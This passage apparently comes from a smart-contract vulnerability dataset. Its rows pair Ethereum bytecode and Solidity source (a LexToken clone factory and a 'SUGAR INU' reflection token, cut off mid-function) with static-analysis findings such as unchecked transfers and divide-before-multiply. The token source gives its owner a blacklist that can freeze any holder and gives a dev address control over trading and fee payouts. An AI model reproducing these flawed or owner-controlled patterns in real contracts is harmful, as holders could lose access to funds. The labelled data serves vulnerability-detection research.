001636185b7348152602001636185b7348152602001636cce3db48152602001610e10815260200160008152602001821515815250600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff02191690831515021790555090505061074b8260025461114e90919063ffffffff16565b6002819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffabf00c3717e5e33d6fcc433d4d70ef919a4101fb7d5c444fe349927034eaa45846040518082815260200191505060405180910390a3505050565b636cce3db481565b6107cb6112bc565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561082b57600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060e060405190810160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152602001600582015481526020016006820160009054906101000a900460ff16151515158152505093508360c0015115156108df57600080fd5b6108e98442611085565b92506109028460a001518461116a90919063ffffffff16565b915061091b83856000015161116a90919063ffffffff16565b9050600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905560028201600090556003820160009055600482016000905560058201600090556006820160006101000a81549060ff021916905550506109ca826109bc8360025461116a90919063ffffffff16565b61116a90919063ffffffff16565b600281905550610a0f85837321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166111839092919063ffffffff16565b8473ffffffffffffffffffffffffffffffffffffffff167fe7b379c6c1fa169e9079c25e9143b127637eef8ec8c9d5c06ddb4ab3e1195888836040518082815260200191505060405180910390a2610a9c33827321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166111839092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe7b379c6c1fa169e9079c25e9143b127637eef8ec8c9d5c06ddb4ab3e1195888826040518082815260200191505060405180910390a28473ffffffffffffffffffffffffffffffffffffffff167f740528a7c317c81f0923adc30df75db3f448298c78cdaf548adfcfdb3c84ff6f826040518082815260200191505060405180910390a25050505050565b636185b73481565b60025481565b6000806000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002092506000836000015414151515610ba757600080fd5b610c148360e060405190810160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152602001600582015481526020016006820160009054906101000a900460ff16151515158152505042611085565b91506000821415610c2457610d13565b610c3b83600501548361116a90919063ffffffff16565b90506000811415610c4b57610d13565b610c6281846005015461114e90919063ffffffff16565b8360050181905550610c7f8160025461116a90919063ffffffff16565b600281905550610cc433827321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166111839092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe7b379c6c1fa169e9079c25e9143b127637eef8ec8c9d5c06ddb4ab3e1195888826040518082815260200191505060405180910390a25b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050154908060060160009054906101000a900460ff16905087565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de957600080fd5b7321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610e9857600080fd5b505af1158015610eac573d6000803e3d6000fd5b505050506040513d6020811015610ec257600080fd5b81019080805190602001909291905050509050610f1482827321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166111839092919063ffffffff16565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610faf57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7321bfbda47a0b4b5b1248c767ee49f7caa9b2369781565b6000806000846040015184101561109f5760009250611146565b8460600151841015156110b85784600001519250611146565b6110e585608001516110d787602001518761116a90919063ffffffff16565b61126e90919063ffffffff16565b91506111028560200151866060015161116a90919063ffffffff16565b90506111438161113561112288608001518661128490919063ffffffff16565b886000015161128490919063ffffffff16565b61126e90919063ffffffff16565b92505b505092915050565b6000818301905082811015151561116157fe5b80905092915050565b600082821115151561117857fe5b818303905092915050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561122657600080fd5b505af115801561123a573d6000803e3d6000fd5b505050506040513d602081101561125057600080fd5b8101908080519060200190929190505050151561126957fe5b505050565b6000818381151561127b57fe5b04905092915050565b60008083141561129757600090506112b6565b81830290508183828115156112a857fe5b041415156112b257fe5b8090505b92915050565b60e06040519081016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160001515815250905600a165627a7a723058205c21bf826182e31fe4feba2297bc9f99efb7243c8666e2f5c91bf778cb4d59110029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,544 |
0x6907c7917520208a4f5fb568ce2f0f7c21132b4d | /*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event BalanceResolution(string indexed resolution);
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) private _balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 managerSupply,
uint256 _saleRate,
uint256 saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
resolver = _resolver;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
_balanceOf[address(this)] = type(uint256).max; // trick to prevent token transfer to contract itself
_mint(manager, managerSupply);
_mint(address(this), saleSupply);
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
uint256 value = msg.value.mul(saleRate);
_transfer(address(this), msg.sender, value);
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
require(value == 0 || allowances[msg.sender][spender] == 0, "!reset");
_approve(msg.sender, spender, value);
return true;
}
function balanceOf(address account) external view returns (uint256) {
return account == address(this) ? 0 : _balanceOf[account];
}
function balanceResolution(address from, address to, uint256 value, string memory resolution) external { // resolve disputed or lost balances
require(msg.sender == resolver, "!resolver");
_transfer(from, to, value);
emit BalanceResolution(resolution);
}
function burn(uint256 value) external {
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) internal {
_balanceOf[from] = _balanceOf[from].sub(value);
_balanceOf[to] = _balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] memory to, uint256[] memory value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
_balanceOf[to] = _balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] memory to, uint256[] memory value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, address _resolver, string memory _details) external onlyManager {
manager = _manager;
resolver = _resolver;
details = _details;
}
function updateSale(uint256 _saleRate, uint256 saleSupply, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
_mint(address(this), saleSupply);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
}
}
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
interface IERC20Transfer { // brief interface for erc20 token transfer
function transfer(address recipient, uint256 value) external returns (bool);
}
contract LexTokenFactory is CloneFactory {
address payable public lexDAO;
address public lexDAOtoken;
address payable immutable public template;
uint256 public userReward;
string public details;
event LaunchLexToken(address indexed lexToken, address indexed manager, address indexed resolver, uint256 saleRate, bool forSale);
event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 indexed userReward, string details);
constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) {
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
template = _template;
userReward = _userReward;
details = _details;
}
function launchLexToken(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 managerSupply,
uint256 _saleRate,
uint256 saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable
) external payable {
LexToken lex = LexToken(createClone(template));
lex.init(
_manager,
_resolver,
_decimals,
managerSupply,
_saleRate,
saleSupply,
_totalSupplyCap,
_details,
_name,
_symbol,
_forSale,
_transferable);
(bool success, ) = lexDAO.call{value: msg.value}("");
require(success, "!ethCall");
IERC20Transfer(lexDAOtoken).transfer(_manager, userReward);
emit LaunchLexToken(address(lex), _manager, _resolver, _saleRate, _forSale);
}
function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string memory _details) external {
require(msg.sender == lexDAO, "!lexDAO");
lexDAO = _lexDAO;
lexDAOtoken = _lexDAOtoken;
userReward = _userReward;
details = _details;
emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details);
}
} | 0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd93146103265780638976263d1461033b578063a994ee2d1461040c578063e5a6c28f1461042157610070565b8063417a1308146100755780634f411f7b1461026b578063565974d31461029c575b600080fd5b610269600480360361018081101561008c57600080fd5b6001600160a01b03823581169260208101359091169160ff6040830135169160608101359160808201359160a08101359160c08201359190810190610100810160e0820135600160201b8111156100e257600080fd5b8201836020820111156100f457600080fd5b803590602001918460018302840111600160201b8311171561011557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561016757600080fd5b82018360208201111561017957600080fd5b803590602001918460018302840111600160201b8311171561019a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101ec57600080fd5b8201836020820111156101fe57600080fd5b803590602001918460018302840111600160201b8311171561021f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505050803515159150602001351515610448565b005b34801561027757600080fd5b50610280610810565b604080516001600160a01b039092168252519081900360200190f35b3480156102a857600080fd5b506102b161081f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102eb5781810151838201526020016102d3565b50505050905090810190601f1680156103185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033257600080fd5b506102806108ad565b34801561034757600080fd5b506102696004803603608081101561035e57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460018302840111600160201b831117156103cb57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108d1945050505050565b34801561041857600080fd5b50610280610a17565b34801561042d57600080fd5b50610436610a26565b60408051918252519081900360200190f35b60006104737f00000000000000000000000098ff60bd97b6cc190db240d5a34e336240059568610a2c565b9050806001600160a01b0316631850f7668e8e8e8e8e8e8e8e8e8e8e8e6040518d63ffffffff1660e01b8152600401808d6001600160a01b031681526020018c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561053357818101518382015260200161051b565b50505050905090810190601f1680156105605780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b8381101561059357818101518382015260200161057b565b50505050905090810190601f1680156105c05780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b838110156105f35781810151838201526020016105db565b50505050905090810190601f1680156106205780820380516001836020036101000a031916815260200191505b509f50505050505050505050505050505050600060405180830381600087803b15801561064c57600080fd5b505af1158015610660573d6000803e3d6000fd5b5050600080546040519193506001600160a01b0316915034908381818185875af1925050503d80600081146106b1576040519150601f19603f3d011682016040523d82523d6000602084013e6106b6565b606091505b50509050806106f7576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663a9059cbb8f6002546040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561076557600080fd5b505af1158015610779573d6000803e3d6000fd5b505050506040513d602081101561078f57600080fd5b8101908080519060200190929190505050508c6001600160a01b03168e6001600160a01b0316836001600160a01b03167f8663caf4d99644a7b67a43c517f166f535c34e993e08c20e4900f7e4521b27598d886040518083815260200182151581526020019250505060405180910390a45050505050505050505050505050565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108a55780601f1061087a576101008083540402835291602001916108a5565b820191906000526020600020905b81548152906001019060200180831161088857829003601f168201915b505050505081565b7f00000000000000000000000098ff60bd97b6cc190db240d5a34e33624005956881565b6000546001600160a01b0316331461091a576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038087166001600160a01b031992831617909255600180549286169290911691909117905560028290558051610962906003906020840190610a7e565b5081836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a59846040518080602001828103825283818151815260200191508051906020019080838360005b838110156109d75781810151838201526020016109bf565b50505050905090810190601f168015610a045780820380516001836020036101000a031916815260200191505b509250505060405180910390a450505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610abf57805160ff1916838001178555610aec565b82800160010185558215610aec579182015b82811115610aec578251825591602001919060010190610ad1565b50610af8929150610afc565b5090565b5b80821115610af85760008155600101610afd56fea2646970667358221220f0638197bed46538ca5346a7c1c5b63d71a82a083b5dd9d13e1eb09e9a71452164736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,545 |
0xd2ca434665dc40f1493e75e16cb7ace95ff4a322 | /*
https://t.me/sugarinuerc
https://www.sugarinu.com/
Decentralized community investment fund!
Deflationary governance token!
$SUGARINU
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SugarInuDao is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SUGAR INU";
string private constant _symbol = "SUGAR";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14; //treasury + marketing
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable treasuryAddr) {
_devFund = devFundAddr;
_marketingFunds = treasuryAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function Cooldown(bool onoff) external {
require(_msgSender() == _devFund);
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(tradingOpen, "Trading not yet enabled.");
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBot(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(5).div(10));
_marketingFunds.transfer(amount.mul(5).div(10));
}
function addLiquidity() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function openTrading() external onlyOwner() {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function SetBot(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function DelBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
